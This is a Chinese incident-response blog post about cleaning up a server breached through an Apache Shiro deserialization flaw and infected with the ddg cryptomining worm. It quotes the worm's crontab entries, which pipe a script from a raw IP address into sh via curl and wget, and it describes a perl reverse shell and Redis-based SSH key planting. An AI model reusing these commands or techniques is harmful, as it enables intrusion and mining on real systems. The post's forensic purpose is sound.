背景


某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell。出于做安全的谨慎,马上出现场应急,确认漏洞。该漏洞存在在cookie字段中的rememberMe字段中,可以RCE

漏洞应急


来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹。

查看账号情况

首先查看账户文件/etc/passwd,修改时间和内容没有什么问题

stat /etc/passwd
cat /etc/passwd

查看文件情况

查看最近修改过的文件没看到特殊异常

ls -alst / -m -10 -name *

查看进程

查看进程

ps aux

看到异常 perl nc2.pl 后面参数跟着一个灯塔国地址,马上想到是反弹的shell,查问漏洞检测者,果真是,确认无害后kill进程。

查看网络连接

netstat -anop | grep tcp

发现服务器对外连接很多22端口,觉得异常,服务器主动对外发起连接22端口,很少见,询问业务也没有这类业务。看相关进程号,查看进程名ddg.2020。明显是一个矿马,经排查服务器上还启动redis和memcached。都是未授权访问。目测,是对外发起6379未授权漏洞的利用,写了root下的id_rsa.pub然后尝试22登录,看下自己的root下的.sshd,果真有id_rsa.pub不正常,因为都不适用root登录遂删除。查看进程目录。/tmp下面的,没有这个文件样板,全盘搜,只有ddg.2020.db没有ddg.2020,随机google,发现该样本会删除自己的文件,并启动定时任务去下载自己。

sudo -i
crontab -e

没有发现问题,还有一个地方

cat /var/spool/cron/crontabs/root

果然看到

curl -fsSL https://218.248.40.228:8443/i.sh | sh
wget -g -O -http://218.248.40.228:8443/i.sh | sh

马上配置阻断

查看进程运行时间对应的操作

history #只有四百多条,很明显不对
who /var/log/wtmp
last
last /var/run/utmp #

发现那天的登录日志被清理。

查看VPC内其他主机,都不存在该蠕虫,那么肯定就是通过getshell打进来,然后种了样本之后离开的。

总结


异常的发现在于明显区别于正常使用用途的网络连接。

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  3. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  4. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  5. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  6. Shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...

  7. Shiro 反序列化漏洞利用

    环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...

  8. Apache Shiro 反序列化漏洞分析

    Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...

  9. Apache Shiro反序列化漏洞(Shiro550)

    1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...

随机推荐

  1. iOS:ODRefreshControl

    https://github.com/Sephiroth87/ODRefreshControl Important note if your project doesn’t use ARC: you ...

  2. spring 配置 Java配置类装配bean

    https://www.cnblogs.com/chenbenbuyi/p/8457700.html 自动化装配的确有很大的便利性,但是却并不能适用在所有的应用场景,比如需要装配的组件类不是由自己的应 ...

  3. 【转帖】Linux发行版:CentOS、Ubuntu、RedHat、Android、Tizen、MeeGo

     Linux发行版:CentOS.Ubuntu.RedHat.Android.Tizen.MeeGo作者:阳光岛主 原文在这儿 Linux,最早由Linus Benedict Torvalds在199 ...

  4. linux echo命令

    该篇文章转载于:http://www.cnblogs.com/ZhangShuo/articles/1829589.html linux的echo命令, 在shell编程中极为常用, 在终端下打印变量 ...

  5. MongoDB之update

    Update操作只作用于集合中存在的文档.MongoDB提供了如下方法来更新集合中的文档: db.collection.update() db.collection.updateOne() New i ...

  6. win8.1的ie11无法打开127.0.0.1和本机IP访问

    解决方法:把ie11安全选项里的启动保护模式对勾去掉!

  7. 如何用BarTender将日期变量和序列号变量放一起打印成条码?

    刚接触BarTender 2016的小伙伴们可能对条码的数据源还不太搞的定,例如有时需要将日期变量和序列号变量放一起打印成条码,那如何简单达到目的呢?下面,小编教大家解决这一问题的三大步骤. 1.在B ...

  8. 小白扫盲:Android 设备的CPU类型(通常称为”ABIs”)

    早期的Android系统几乎只支持ARMv5的CPU架构,但是现在不同了,你知道现在它支持多少种吗?7种! Android系统目前支持以下七种不同的CPU架构:ARMv5,ARMv7 (从2010年起 ...

  9. Linux远程管理之SVN,VNC

    一.远程管理的基本概念 首先我们来初略的讲讲远程管理的一些基本概念.对于我们使用的计算机来说,如果是个人计算机,就没有远程管理这一概念了,想用的时候开机就能使用,而对于我们的服务器来说,就不同了,对于 ...

  10. Ulua_toLua_基本案例(六)_LuaCoroutine2

    Ulua_toLua_基本案例(六)_LuaCoroutine2 using UnityEngine; using System.Collections; using LuaInterface; pu ...